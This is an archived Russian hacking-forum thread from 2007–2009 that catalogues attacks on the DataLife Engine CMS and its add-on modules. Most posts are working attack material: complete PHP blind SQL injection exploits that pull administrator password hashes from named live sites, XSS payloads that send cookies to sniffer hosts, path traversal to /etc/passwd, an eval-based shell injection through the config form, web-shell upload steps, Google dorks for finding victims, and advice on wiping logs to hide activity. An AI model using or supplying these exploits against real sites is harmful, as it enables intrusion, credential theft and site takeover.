Просмотр полной версии : [ Обзор уязвимостей DataLife Engine ]
Solide Snake
28.10.2007, 02:11
Обзор уязвимостей [DataLife Engine]
Сайт производителя: www.dle-news.ru (http://www.dle-news.com/)
Актуальная версия: 6.3 (http://rapidshare.com/files/63936151/DataLife_Engine_v.6.3_Nulled.rar)
DataLife Engine v.3.7
[Раскрытие установочного пути]
В parse.class.php выделено 12582912 байт на проверку сообщения.
Переполнение делается так: "<<><><><><><>>"
[ХСС]
Угнать кукисы можно при помощи вставки картинки.
-- этим можно воспользваться всегда, даже если нету таких кнопок при
добавлении новости, личном сообщении, добавления коментария.
Непосредственно сама ХСС:
http://anyimage.com/ok.gif" onmouseover='document.location=" class="fixed">http://your.sniffer.com/sniff/sniff.gif?id="+document.
cookie;'><!--
[Проблемы с SQL]
http://target.net/category/topic/ -- где topic -- это не существующая тема.
Результат: SELECT id FROM nws_category WHERE parentid=not detected ;
Версия 4.1 возможно более ранние SQL Injection.
Описание:
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения.
Уязвимость существует из-за недостаточной обработки входных данных в параметре "user" в сценарии index.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения. Пример:
http://[host]/index.php?subaction=userinfo&user=[code]
DataLife Engine <= 4.1 Remote SQL Injection Exploit (perl) (http://www.milw0rm.com/exploits/1938)
DataLife Engine <= 4.1 Remote SQL Injection Exploit (php) (http://www.milw0rm.com/exploits/1939)
SQL injection for <=4.1 version exploit (http://www.x-sec.info/advisory40.txt)
RGdatalife - exploit (php version) (http://www.x-sec.info/RGdatalife.txt)
halkfild
13.01.2008, 01:25
в виду наличия множества ресурсов в сети под этим движком решил поискать хоть какие-то уязвимости в нем..
пошел на офф сайт http://dle - news.ru/. SoftNews Media Group любезно предоставляет демо доступ для просмотра движка в роботе http://demo.dle - news.ru/ тут и начнем.
Так, как это все на их сервере и это демо версия, то почти весь функционал они обрезали оставив только чтение =\. смотрим...
баг в функциях оптимизации базы
http://demo.dle-news.ru/admin.php?mod=dboption&action=dboption
пакеты браузера
cmd> GET /admin.php?mod=dboption&action=dboption HTTP/1.0
cmd> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
cmd> Referer: http://demo.dle-news.ru/admin.php?mod=dboption
cmd> User-Agent: 8.50 iia Nokia 6630 (in Spanish) — Mozilla/4.0 (compatible; MSIE 6.0; Symbian OS; Nokia 6630/4.03.38; 6937) Opera 8.50 [es]
cmd> Host: demo.dle-news.ru
cmd> Cookie: PHPSESSID=2962374dc7d3a4f7035f4f5d290c02e2; dle_skin=deleted; dle_hash=deleted; lastusername=demo; dle_name=demo; dle_password=fe01ce2a7fbac8fafaed7c982a04e229
cmd>
hdr> HTTP/1.1 200 OK
hdr> Server: nginx/0.5.34
hdr> Date: Thu, 10 Jan 2008 22:05:26 GMT
hdr> Content-Type: text/html; charset=windows-1251
hdr> Connection: close
hdr> X-Powered-By: PHP/5.2.3
hdr> Expires: Tue, 11 Jun 1985 05:00:00 GMT
hdr> Cache-Control: no-store, no-cache, must-revalidate
hdr> Pragma: no-cache
hdr> Last-Modified: Thu, 10 Jan 2008 22:05:48 GMT
hdr> Cache-Control: post-check=0, pre-check=0
hdr> Content-Length: 1337
hdr> Content-Language: ru
RequestDone Error = 0
StatusCode = 200
расскрытие при повторном посте
и ошибка при не корректном посте данных /*пишет не корректное название таблицы*/
Warning: reset(): Passed variable is not an array or object in /usr/home/15292/demo.dle-news.ru/html/engine/inc/dboption.php on line 28 Warning: Variable passed to each() is not an array or object in /usr/home/15292/demo.dle-news.ru/html/engine/inc/dboption.php on line 32 MySQL Error!
------------------------
The Error returned was:
You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
Error Number:
1064
так же мона юзать xss
method=post auction=http://demo.dle-news.ru/admin.php?mod=dboption&action=dboption
ta%5B%5D=dle_email,"><script>alert()</script>&whattodo=optimize
или
ta%5B%5D=dle_files"><script>alert(/xss/)</script>&whattodo=repair
вообщем имеем пост ксс и расскрытие пути
з.ы. сначала незаметил и создал новую тему ^^
Solide Snake
13.01.2008, 01:31
DataLife engine...(версию уязвимую так и не выяснил... т.к. багу сам нашел, но точно знаю что до пятой... на 4.2 прокатывает)
Листилка (читалка) файлов там где не стоит мэйджик квотез:
http://site.dmn/engine/ajax/vote.php?vote_action=results&vote_skin=../../../../../../../../../../../etc/passwd%00
Да и еще примечательно это тем, что полюбому можно прочитать пароль к БД т.к. в этой двиге обязательно присутствует файло с настройками пользователя БД и соответственно при хорошем раскладе узнать пароли админа и через админку шелл залить (в большинстве случаев получается) но для этого в конфигурации в админке надо зделать кой какие изменения... ну я думаю это каждый сможет...
(c) Scipio
Раскрытие полного установочного пути (для авторизированых юзеров)
index.php?do=pm&doaction=newpm&user[]=
Результат
Warning: urldecode() expects parameter 1 to be string, array given in %путь_установки%/engine/init.php on line 49
blind sql-inj в неофициальном модуле к Dle files (файловый архив)
уязвимость после order by в параметре orderby
Пример запроса:
http://www.alldown.ru/index.php?do=files&op=cat&id=1&orderby=if(ord(substring((select+password+from+dle _users+where+user_group=1+limit+0,1),1,1))+between +0+and+0,url,(select%201%20from%20dle_downloads))+--+
Эксплоит:
<?php
set_time_limit(0);
/*-----------------------------------------------------*/
//Эксплойт для модуля Files(модуль файлового архива) к DLE
//Автор: H00K
/*-----------------------------------------------------*/
/*-----------------Настройки---------------------------*/
$host="symbiware.org";//указываем хост
$catid = "38";//Указываем id существующей категории
$userid = "0";//Указываем id администратора
/*-----------------------------------------------------*/
$good = "MySQL Fatal Error";
$bad = "Архив файлов";
$path="/index.php?do=files&op=cat&id={$catid}&orderby=if(ord(substring((select+password+from+dle _users+where+user_group=1+limit+{$userid},1),";
$end = ",(select%201%20from%20dle_downloads),url)+--+";
$index = 1;
$result = "";
function GetMiddle($min, $max)
{
return floor($min+((($max+1)-($min-1))/2));
}
function Check($min,$max)
{
if (($max-$min)<=2)
{
global $index;
global $result;
global $host;
global $path;
echo "Символ найден: ";
if (($max-$min)==1)
if (CheckSQL($host, $path, $index.",1))={$max}"))
$result .=chr($max); else $result .=chr($min);
if (($max-$min)==2)
{
if (CheckSQL($host, $path, $index.",1))={$max}"))
{
$result .=chr($max);
} else
{
if(CheckSQL($host, $path, $index.",1))={$max}-1"))
$result .=chr($max-1); else $result .=chr($min);
}
}
echo substr($result,strlen($result)-1)."<br>";
flush();
$index++;
return true;
} else return false;
}
function CheckSQL ($host, $path, $st)
{ global $end;
$line="";
$fo = fsockopen($host, 80, $errno, $errstr, 30);
if(!$fo){die ("no connect");}
else
{
$headers="GET ".$path.$st.$end." HTTP/1.1\r\n";
$headers.="Host: ".$host."\r\n";
$headers.="Connection: Close\r\n\r\n";
global $good;
global $bad;
fwrite($fo, $headers);
while (!feof($fo))
{
$line = fgets($fo, 512);
if (strpos($line,$good))
{
fclose($fo);
return true;
}
if (strpos($line,$bad))
{
fclose($fo);
return false;
}
}
fclose($fo);
}
return false;
}
if (CheckSQL($host, $path, $index.",1))+between+1+and+255"))
echo (" Идет подбор символов...<br>"); else die("Ошибка");
for ($i=0;$i<32;$i++)
{
$min = 31;
$max = 123;
$ok = true;
while ($ok == true)
{
$num = GetMiddle($min,$max);
if (!check($min,$max))
{
if (CheckSQL($host, $path, $index.",1))+between+1+and+{$num}"))
{
echo("Меньше $num <br>");
$max = $num;
} else
{
echo ("Больше $num <br>");
$min = $num;
}
flush();
} else $ok = false;
}
}
echo $result;
?>
© H00k
Нашёл XSS в модуле DLE Forum 2.1
http://site/dle-forum.php?status_report=<script>alert(/XSS/)</script>
Работает если админ забыл удалить файл dle-forum.php после установки. (Установщик даже не предупреждает о том, что хорошо бы это сделать :) )
З.Ы.
Гуглом ищутся по запросу:
intitle:"Работает на DLE Forum"
Ещё забавную багу нашёл в модуле DLE Forum 2.1
:)
Возможность отправки сообщений от имени произвольного пользователя (можно несуществующего):
Создайте страничку со следующим кодом:
<form method="POST" action="http://site/?do=forum&act=post&code=reply&code=01">
Forum ID: <input type="text" name="forum_id" value="2"><br/>
Topic ID: <input type="text" name="topic_id" value="1"><br/>
Post ID: <input type="text" name="post_id" value="3"><br/><!-- Не допёр нафига это передавать, но кажется должно быть уникальным -->
Text: <input type="textarea" name="post_text" value="This Is Sample Text..."><br/>
UserName: <input type="text" name="name" value="SuperAdmin"><br/><!-- Вписываем что хотим -->
UserMail: <input type="text" name="mail" value="Billy@mail.xx"><!-- Вписываем что хотим -->
<input type="submit">
</form>
Ну и по комментариям сориентируетесь. Если уже залогинены на форуме, не забудьте почистить куки, иначе значение имени пользователя возьмётся из них.
Blind SQL Injection в в модуле DLE Forum 2.1:
На самом деле там две инъекции, в 2х запросах выполняющихся подряд, т.е. одна из ошибок бкдет отображаться в любом случае.
Для выполнения, нужно залогиниться.
Для начала нужно добавить иньекцию в БД
Примеры:
http://site/?do=forum&act=subscription&code=add&tid=-1 UNION SELECT 1,BENCHMARK(100000,md5(current_time)),3,4,5,6,7,8, 9,10,11,12,13,14,15,16,17,18,19 --
http://site/index.php?do=forum&act=subscription&code=add&tid=-1 OR tid=(SELECT 1 UNION SELECT 2) --
Затем, для её выполнения нужно обратиться по адресу:
http://site/index.php?do=forum&act=subscription
При написании неудачного запроса, его нужно удалить командой: (это важно!)
http://test2.ru/?do=forum&act=subscription&code=del&tid=[SQL]
Символ кавычки мне вставить в запрос не удалось, но можно обойтись и без него, если воспользоваться методами из: http://forum.antichat.ru/thread43966.html
З.Ы.
Сорри, что не добил скуль до конца, времени не хватает, но это возможно.
SQL Injection в в модуле DLE mChat v. 2.0:
Нашёл в админке, и после ORDER BY, наверное бесполезная, но:
http://site/admin.php?mod=mchat&start_from=SQL
И вот ещё, ругнётся на следующий запрос (первый символ должен быть цифрой):
http://site/admin.php?mod=mchat&mchat_per_page=1SQL
Зачем может понадобиться, не знаю, ну разве только чтобы выяснить префикс к таблицам.
Раскрытие пути в модуле DLE mChat v. 2.0:
http://site/admin.php?mod=mchat&action=mess_del
http://site/admin.php?mod=mchat&action=do_mess_del
Тоже админка :(
Активная, но очень неудобная XSS в модуле DLE mChat v. 2.0:
При отправке сообщения, вида:
<a href="http://www.ya.ru">А исправь ка</a>
В админке теги отфильтрованы не будут, и вместо стандартной администраторской функции редактирования сообщения, админ перейдёт по ссылке. Если очень постараться, можно создать фейковую страницу с просьбой ввести пароль для редактирования, и хитрым образом заставить админа попробовать отредактировать сообщение. (Из области научной фантастики)
З.Ы.
<script>, document.cookie - фильтрует, "javascript:" превращает в javascript:<b></b> и иногда в неудачных местах ставит <br />. В общем окне просмотра чата, теги видны прекрасно.
Раскрытие пути в DataLife Engine v.6.7:
http://site/engine/inc/init.php
http://site/engine/inc/preview.php
http://site/engine/data/dbconfig.php (работает не везде)
http://site/upgrade/error.php
http://site/upgrade/finish.php
http://site/upgrade/template.php
Раскрытие пути в модуле DLE Forum 2.1:
http://site/dle-forum.php
Раскрытие пути в модуле DLE mChat v. 2.0:
http://site/engine/ajax/mchat.refresh.php
Одна особенность! Не работает в IE, т.к. IE вместо отображения пытается принять файл, юзайте файрфокс или тулзы отображающие результат в текстовом виде.
Нашёл после того, как написал тулзу для поиска раскрытий пути и простейших SQL ошибок :)
З.Ы.
Если кому надо - обращайтесь (написал на Java).
Вот ещё нашёл в модуле DLE Forum 2.1:
Уничтожить некоторые таблицы форума и узнать префикс к таблицам в БД, можно так:
Удалил т.к. то, что побочно уничтожается БД, заметил после публикации уязвимости, думаю неэтично такое выкладывать в паблик..
Уязвимость присутствует, если забыли удалить файл dle-forum.php. В дикой природе встречается ~ в 20-30% случаев.
Безопасно посмотреть префикс к таблицам БД можно так:
http://site/dle-forum.php?action=upgrade
То же самое и в модуле DLE mChat v. 2.0, есть возможность удалить все записи в чате (в том числе логи чата), если забыли удалить папку /mcinstall/ после установки.
В принципе, для чата это не так деструктивно, а вот уничтожить следы деятельности поможет, так что выкладываю:
http://site/mcinstall/?action=doinstall
1. Бага заключается в следующем.
Смотрим сорс страницы пользователя
<script language="javascript" type="text/javascript">
<!--
var dle_root = '/';
var dle_skin = 'wf_0_1';
var dle_wysiwyg = 'no';
var menu_short = 'Быстрое редактирование';
var menu_full = 'Полное редактирование';
var menu_profile = 'Просмотр профиля';
var menu_fcomments = 'Найти все комментарии';
var menu_send = 'Отправить сообщение';
var menu_uedit = 'Админцентр';
var dle_req_field = 'Заполните все необходимые поля';
var dle_del_agree = 'Вы действительно хотите удалить этот комментарий?';
//-->
</script>
Теперь смотрим сорсы страницы админа
<script language="javascript" type="text/javascript">
<!--
var dle_root = '/cms/dle/';
var dle_admin = 'admin.php';
var dle_login_hash = '1bc5a8a12d90e476dbf6d1bcd58b5860';
var dle_skin = '123';
var dle_wysiwyg = 'no';
var menu_short = 'Быстрое редактирование';
var menu_full = 'Полное редактирование';
var menu_profile = 'Просмотр профиля';
var menu_fnews = 'Найти все публикации';
var menu_fcomments = 'Найти все комментарии';
var menu_send = 'Отправить сообщение';
var menu_uedit = 'Админцентр';
var dle_req_field = 'Заполните все необходимые поля';
var dle_del_agree = 'Вы действительно хотите удалить? Данное действие невозможно будет отменить';
var dle_del_news = 'Удалить новость';
var allow_dle_delete_news = true;
//-->
</script>
Собственно это нам и нужно
var dle_admin = 'admin.php'; // скрипт адмиского входа.
var dle_login_hash = '1bc5a8a12d90e476dbf6d1bcd58b5860'; хеш пароля md5
Логин админа можно узнать из новостей публикуемых на сайте, но могут публиковать и привелигерованные пользователи, по другому хз.
Накатали скрипт, респект zarin за помощь, который подгружает страницу с серва и сохраняет ее на хосте. Нужно только одно условие чтобы оно сработало, это чтобы админ был залогинен на сайте.
<?php
if(isset($_POST["frame"])) {
$fh = fopen("gibson.txt","w+");
fwrite($fh,$_POST["frame"]);
fclose($fh);
}
else{
?>
<html>
<head>
<script>
function sendFrame(FrameID,FormID,TextareaID)
{
content = document.getElementById(FrameID).contentDocument.t ext;
document.getElementById(TextareaID).value = content;
document.getElementById(FormID).submit();
}
</script>
</head>
<body>
<div style="display:block;">
<form action="gibson.php" method="post" id="form0">
<textarea name="frame" id="text0" style="display:none;" ></textarea>
<input type="submit" name="ok" value="ok" style="display:none;" >
</form>
</div>
<IFRAME src="http://xxx.xx/index.php" onload="sendFrame('frame0','form0','text0')" id="frame0" WIDTH="0" HEIGHT="0" >
</IFRAME>
</body>
</html>
<?}?>
ps Скрипт работает в опере с локальными адресами! В фф сек эрроры)
2. Ну и так для развлечения ксс
http://xxx.xx/engine/modules/imagepreview.php?image=javascript:alert(document.c ookie);
Нужно только чтобы рисунки были включены.
DLE 6.3
Раскрытие пути:
index.php?catalog[]=
DLE Online Mod Exploit Blind SQL Injection
Нашел багу я, а эксплойт написал Евгений Минаев (http://forum.antichat.ru/member.php?u=44793)
Сохраняем эксплойт и закидываем его к себе на локалхост, от туда запускаем.
Выдерает хеши любого юзера, шифрация md5(md5($pass))
<?php
/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */
/**
* DataLifeEngine Online Mod Exploit Blind SQL Injection. Found by Maxster
* Need magic_quotes_gpc off and mysql version higher than 4.0 (on server)
*
* Useful: email, password, name
*
* PHP versions 4 and 5
*
* LICENSE: This source file is subject to version 3.0 of the PHP license
* that is available through the world-wide-web at the following URI:
* http://www.php.net/license/3_0.txt. If you did not receive a copy of
* the PHP License and are unable to obtain it through the web, please
* send a note to license@php.net so we can mail you a copy immediately.
*
* @category Exploit
* @package None
* @author Eugene Minaev <underwater@itdefence.ru>
* @copyright 2008 ITDefence.ru
* @license http://www.php.net/license/3_0.txt PHP License 3.0
* @version CVS: $Id:$
* @link http://underwater.itdefence.ru
* @since File available since Release 0x00
*/
@set_time_limit(0);
@ini_set('output_buffer', 0);
?>
<html>
<head>
<title>DataLifeEngine Online Mod Exploit Blind SQL Injection</title>
<style type="text/css">
body{
font-family: Tahoma;
font-size: 12px;
color: #e1e1e1;
background-color: #222;
}
</style>
</head>
<body>
<center>
<form method="post" action="<?php echo $_SERVER['SCRIPT_NAME']?>">
dle path:<input type="text" name="server" value="http://localhost/dle/" />
<br/><br/>
admin id: <input type="text" name="userid" value="1" />
<br/><br/>
<input type="submit" />
</form>
</center>
</body>
</html>
<?php
if (!empty($_POST))
{
$_ = create_function('$error', 'die("$error");');
$userid = isset($_POST['userid']) ? (int) $_POST['userid'] : null;
$server = isset($_POST['server']) ? $_POST['server'] : null;
$alphabet = array('a', 'b', 'c', 'd', 'e', 'f', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0');
$responce = null;
$password = null;
$curpos = 1;
$alppos = 0;
$flag = false;
$pathinfo = parse_url($server);
if (false === is_array($pathinfo) or empty($pathinfo['host'])) {
$_('invalid url');
} else {
$fsocket = fsockopen($pathinfo['host'], 80) or
$_('hostname is dead');
$request = "GET {$pathinfo['path']} HTTP/1.1\r\n"
. "Host: {$pathinfo['host']}\r\n"
. "Cookie: dle_onl_session='underWHAT?!\r\n\r\n";
fwrite($fsocket, $request) or
$_ ('failed to write data to socket');
while ($flag === false){
$responce .= fread($fsocket, 128);
$flag = strpos($responce, '</html>') ? true: false;
}
$flag = false;
if (strpos($responce, 'MySQL Error') > 0){
while (strlen($password) < 32)
{
$fsocket = fsockopen($pathinfo['host'], 80) or
$_('hostname is dead');
$responce = null;
$cookie = "' or 1=if(substring((select password from dle_users where user_id = $userid),$curpos,1)='{$alphabet[$alppos]}',1,(select 1 union select 3))/*";
$request = "GET {$pathinfo['path']} HTTP/1.1\r\n"
. "Host: {$pathinfo['host']}\r\n"
. "Connection: close\r\n"
. "Cookie: dle_onl_session=$cookie\r\n\r\n";
fwrite($fsocket, $request) or
$_ ('failed to write data to socket');
$responce = fread($fsocket, 8000);
if (!strpos($responce, 'returns more than 1 row')){
$password .= $alphabet[$alppos];
$curpos += 1;
$alppos = 0;
} else {
$alppos += 1;
}
$flag = false;
$responce = null;
fclose($fsocket);
}
} else {
die ('<center><h1>not vulnerable</h1></center>');
}
echo "<center><h1>$password</h1></center>";
}
}
?>
Google dork: "20ка посетивших:"
Datalife Engine 6.7 XSRF
_http://securityvulns.ru/Tdocument552.html
Exploit:
http://site.com/datalife-path/engine/modules/imagepreview.php?image=[XSRF]
Подробно рассмотрено: _https://forum.antichat.ru/thread67881.html
Заливка шелла через админку Datalife Engine
Версию точно определить не смог, но в сорцах написано про 2008 год.
Итак, заходим в админцентр.
Далее нажимаем "Другие разделы"
Выбираем где-то в конце "Архив файлов"
Идём на "Настройка Архива Файлов"
Допустимые форматы файлов: дописываем php.
Сохраняемся, идём в "Добавить файл".
Заливаем шелл :)
Его дальше видно в разделе "Файловый Архив" для всех и в свойствах загруженного файла в редактировании файлов в админке.
Нашёл сегодня сам, так как очень приспичело, а старые баги не подходили. Если уже где-то было, извините..
Потом, может, сниму видео...
']КАК ЗАЛИТЬ !!!
+ С меня в репу )
Попробуй через редактирование шаблона сайта.
Там можно вставлять php код в текущий шаблон ИЛИ есть кнопочка [создать новый]. Через нее можно тупо создать шелл. А потом в своих настройках отображения сайта выбрать вновь созданную тему.
Вообщем как-то так. Экспериментируйте.
Попробуй через редактирование шаблона сайта.
Там можно вставлять php код в текущий шаблон ИЛИ есть кнопочка [создать новый]. Через нее можно тупо создать шелл. А потом в своих настройках отображения сайта выбрать вновь созданную тему.
Вообщем как-то так. Экспериментируйте.
чтобы php код исполнялся в шаблонах (tpl)
надо:
В файле index.php, заменить
echo $tpl->result['main'];
на
function incphp($str)
{
$a = explode('<?', $str);
echo $a[0];
for ($i=1; $i<sizeof($a); $i++)
{
$b = explode('?>', $a[$i]);
eval($b[0]);
if (sizeof($b)>1) echo $b[1];
}
}
incphp($tpl->result['main']);
Теперь Вы можете в любом тексте между тегами <? ... ?> выполнять PHP код.
(с) dle-news.ru
так что облом
---------------------------------------------
загружать шелл через добавление новости тоже не получается.
1) не отображается полный путь файлы\а(шелла) т.к при загрузке скрипт сам дописывает цыфры перед файлом.
2) в папке uploads/files (куда складываются файлы) лежит .htaccess в котором:
<FilesMatch ".*">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch "\.(avi|mp3|mp4|flv|swf|wmv)$|^$">
Order deny,allow
Allow from all
</FilesMatch>
DLE 7.0
Datalife Engine XSRF пытались залатать...... :rolleyes:
http://dle-news.ru/bags/v70/301-nedostatochnaja-filtracija-vkhodjashhikh-dannykh.html
обойти:
вместо javascript пишем Javascript
вместо document.cookie пишем Document.cookie ;)
Lawrence
03.08.2008, 19:13
Весьма интересные вещи творятся когда пользователь повторно заходит в систему под своим аккаунтом (имеется ввиду проходит аутентификацию по кукисам). Запрос браузера:
GET http://www.site.net/ HTTP/1.0
Cookie: dle_twsf_t=a%3A1%3A%7Bi%3A19%3Bi%3A1205043514%3B%7 D; dle_onl_session=-062044f577ca1d58adabaf005e0bf5bf; dle_name=Kit; dle_password=1ad092fcfc34d69ebef9f3c745aea027; dle_newpm=0; PHPSESSID=062044f577ca1d58adabaf005e0bf5bf
Host: www.site.net
Параметр dle_onl_session уязвим, однако при попытки сформировать "злой" запрос мы натыкаемся на повторное использование этого же параметра в другом SQL запросе, результат: очередной MySQL error. Может у кого-то получится пойти дальше?
P.S. Т.к. MySQL error показывает неудачные запросы, есть возможность XSS атаки, однако чужие кукисы "угнать" не получится.
Недостаточная фильтрация входящих данных
/engine/modules/functions.php
Подробно рассмотрено: http://4dle.ru/bugs/1147156035-nedostatochnaja-filtracija.html
Нашёл XSS в Datalife Engine v 6.7 (в остальных версиях не проверял, по инету потыкался, везде где доступна админка, вроде работает):
В файле: http://site/admin.phpCookie: dle_lastusername='><script>alert(/XSS/)</script>
Dle forum 2.1 (возможно, последующие версии, не проверял)
Эксплойт, получение логина, хеша, мыла админа:
<form action="http://evil.com/?do=forum&act=category" method="post">
<input name="cid" value="-99' union select 1,2,3,4,5,6,7,8,9,concat(email,':',password,':',na me),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,2 6 from dle_users where user_group=1 limit 1/*"/>
<input type="submit" value="ok"/>
</form>
Действие эксплойта основано на том, что встроенная функция dle check_xss() проверяет на нехорошие символы ' " < > лишь строку $QUERY_STRING, а пост, куки итд запросы остаются непроверенными. Подозреваю, что основной движок страдает тем же самым.
Dle <=6.7 (возможно, последующие версии, не проверял)
Эксплойт, дающий шелл (использовать залогиненным админом) :
<form action="http://evil.com/admin.php?mod=options&action=syscon" method="post">
<input name="save_con[test');@eval(trim(stripslashes($lala)));$config=ar ray('test]" value="test"/>
<input type=hidden name=action value=dosavesyscon>
<input type="submit" value="ok"/>
</form>
далее
http://evil.com/adm.php?mod=options&action=syscon&lala=phpcode();
Действие эксплойта основано на том, что при записи конфига в соотв. пхп-файл, проверяется на нехорошие символы только значение параметра, а само имя параметра-нет+если в массиве конфига послать новый параметр, которого не было, то он успешно запишется в конфиг
ЗЫ хеш зашифрован md5(md5()). Такого вида хеши успешно расшифровываются большинством онлайн-сервисов
Я кончил.
Недостаточная фильтрация входящих данных
/engine/classes/parse.class.php
Подробно рассмотрено: http://dle-news.ru/bags/v73/439-nedostatochnaja-filtracija-vkhodjashhikh-dannykh.html
Blind slq-inj в модуле галерея для dle, в параметре news_sort
Уязв.код (news_sort) :
show_cat.php
if ( isset($_POST['news_sort']) ) $galConfig['news_sort'] = mysql_escape_string($_POST['news_sort']); elseif ($gal_cat[$category_id]['news_sort'] != "") $galConfig['news_sort'] = $gal_cat[$category_id]['news_sort'];
if ( isset($_POST['news_msort']) ) $galConfig['news_msort'] = mysql_escape_string($_POST['news_msort']); elseif ($gal_cat[$category_id]['news_msort'] != "") $galConfig['news_msort'] = $gal_cat[$category_id]['news_msort'];
if ($galConfig['user_cats_limit']) $sear = "(" . PREFIX . "_gal_cat.cat_status = '0' OR " . PREFIX . "_gal_cat.cat_status = '2') AND " . PREFIX . "_gal_pic.approve='1'"; else $sear = "" . PREFIX . "_gal_cat.cat_status = '0' AND " . PREFIX . "_gal_pic.approve='1'";
$result = $db->query("SELECT " . PREFIX . "_gal_pic.*, " . PREFIX . "_gal_cat.cat_title, cat_alt_name, allow_rating, allow_comm FROM " . PREFIX . "_gal_pic LEFT JOIN " . PREFIX . "_gal_cat ON " . PREFIX . "_gal_pic.pic_cat_id=" . PREFIX . "_gal_cat.cat_id WHERE " . PREFIX . "_gal_cat.cat_alt_name='$category' AND $sear AND " . PREFIX . "_gal_cat.cat_view_level regexp '[[:<:]]($member_id[user_group])[[:>:]]' ORDER BY ".$galConfig['news_sort']." ".$galConfig['news_msort']." LIMIT $cstart, $lim");
Как видим данные из news_sort попадают в функцию mysql_escape_string, но так как в запросе данные не обрамляются кавычками, эта функция никаким образом не помешает проведению sql инъекции
Пример запроса:
POST /index.php?do=gallery&action=show_cat&category=gorod HTTP/1.1
Host: www.simfilife.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127
Keep-Alive: 300
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 133
news_sort=if(ord(substring((select password from dle_users where user_id=1),1,1))>4,(select 1 from dle_usergroups),0)&news_msort=DESC
Exploit:
<?php
set_time_limit(0);
/*-----------------------------------------------------*/
//Эксплойт для неофициального модуля Gallery для DLE
//Автор: l-l00K
//Black Toad Team
/*-----------------------------------------------------*/
/*-----------------Настройки---------------------------*/
$good = "MySQL Fatal Error";
$bad = "robots";
$host= "simfilife.net";//указываем сайт
$path="/index.php?do=gallery&action=show_cat&category=gorod";//Указываем существующую категорию
$body = "news_sort=if(ord(substring((select password from dle_users where user_id=1),";
$index = 1;
$result = "";
$end = ",(select 1 from dle_usergroups),0)&news_msort=DESC";
function GetMiddle($min, $max)
{
return floor($min+((($max+1)-($min-1))/2));
}
function post_sql($host,$path,$post_body)
{
global $end;
$post_body .= $end;
$post_query = "POST ".$path." HTTP/1.1\r\n";
$post_query .= "Host: ".$host."\r\n";
$post_query .= "Connection: close\r\n";
$post_query .= "Content-Type: application/x-www-form-urlencoded\r\n";
$post_query .= "Content-length: " . strlen($post_body) . "\r\n\r\n";
$post_query .= $post_body;
$sock = fsockopen($host, 80, $errno, $errstr, 30);
if (!$sock) die('Could not connect to host! ');
fputs($sock, $post_query);
global $good;
global $bad;
$answer = '';
while (!feof($sock)) {
$answer .= fgets($sock, 1024);
if (strpos($answer,$good))
{
fclose($sock);
return true;
}
if (strpos($answer,$bad))
{
fclose($sock);
return false;
}
}
fclose($sock);
return false;
}
function Check($min,$max)
{
if (($max-$min)<=2)
{
global $index;
global $result;
global $host;
global $path;
global $body;
echo "Символ найден: ";
if (($max-$min)==1)
if (post_sql($host, $path, $body.$index.",1))={$max}"))
$result .=chr($max); else $result .=chr($min);
if (($max-$min)==2)
{
if (post_sql($host, $path, $body.$index.",1))>{$max}-1"))
{
$result .=chr($max);
} else
{
if(post_sql($host, $path, $body.$index.",1))={$max}-1"))
$result .=chr($max-1); else $result .=chr($min);
}
}
echo substr($result,strlen($result)-1)."<br>";
flush();
$index++;
return true;
} else return false;
}
$bool = true;
while ($bool==true)
{
if (post_sql($host, $path, $body.$index.",1))>0"))
{
echo ("Символ есть, идет подбор...<br>");
flush();
$ok = true;
}
else
{
echo ("Символы кончились <br>");
$ok = false;
$bool = false;
echo $result;
}
$min = 31;
$max = 123;
while ($ok == true)
{
$num = GetMiddle($min,$max);
if (!check($min,$max))
{
if (post_sql($host, $path, $body.$index.",1))<{$num}"))
{
echo("Меньше $num <br>");
$max = $num;
} else
{
echo ("Больше $num <br>");
$min = $num;
}
flush();
} else $ok = false;
}
}
?>
as3kpwnz
15.12.2008, 23:23
http://site.dmn/engine/ajax/vote.php?vote_action=results&vote_skin=../../../../../../../../../../../etc/passwd%00
(c) Scipio
Все еще актуальный баг ,но уже не преставляет никакой ценности ,ибо отображается содержимое скрипта vote.tpl
Достаточно добавить несколько строчек ,и вместо странички с этими ненужными данными будет красоваться "Hacking attemp"
if ($_REQUEST['vote_skin']) {
$qw=$_REQUEST['vote_skin'];
$qqq=preg_match("/^[a-zA-Z0-9]+$/",$qw);
if($qqq){
if (is_dir(ROOT_DIR.'/templates/'.$qw))
{
$config['skin'] = $qw;
}
}
else {
die("Hacking attempt!");
}
свеженькая XSS для DLE <= 7.2 от Hadi Kiamarsi
http://victim-site.com/admin.php/%3E%22%3E%3CScRiPt%3Ealert('Hadi-Kiamarsi')%3C/ScRiPt%3E
готовый к работе
http://victim-site.com/admin.php/%3E%22%3E%3CScRiPt%3Evar Xcook=document.cookie;document.images[0].src='http://evil-site.com%3F'+Xcook%3C/ScRiPt%3E
niva622
1. Версию движка, можно узнать только в админке.
http://dle-news.ru/engine/ajax/updates.php
тут палить нулленый движки :D
mailbrush
02.02.2009, 01:36
Расскрыите путей:
http://site.ru/index.php?do=register&doaction=validating&step=2&id[]=1
(c) mailbrush
раскрытие путей
http://host.ru/engine/print.php?do=static&page[]=paramparam
результат
Warning: mysql_real_escape_string() expects parameter 1 to be string, array given in [PATH]/engine/classes/mysql.class.php on line 162 Невозможно загрузить шаблон: info.tpl
UPD
http://host.ru/engine/rss.php?subaction=allnews&user[]=admin
UPD
для тех у кого есть доступ в админку(журналисты, модераторы и выше)
http://host.ru/admin.php?mod[]=main
(c) #Wolf#
ps
http://dle-news.ru/bags/v75/570-nedostatochnaya-filtraciya-vxodyashhix-dannyx.html
кандоны( уже патч выпустили(
-Hormold-
27.02.2009, 15:10
Youtube Video Downloader
Версия: 1.0
Пассивная-XSS :(
Собственно
Уязвимый скрипт: youtubedownloader.php
Запрос: http://www.youtube.com/watch?v=Gw0Ysp47hl8"><h1>simple</h1>
Метод: POST
Уязвимый кусок кода:
$video="$_POST[video]";
$video2 = explode("watch?v=", $video);
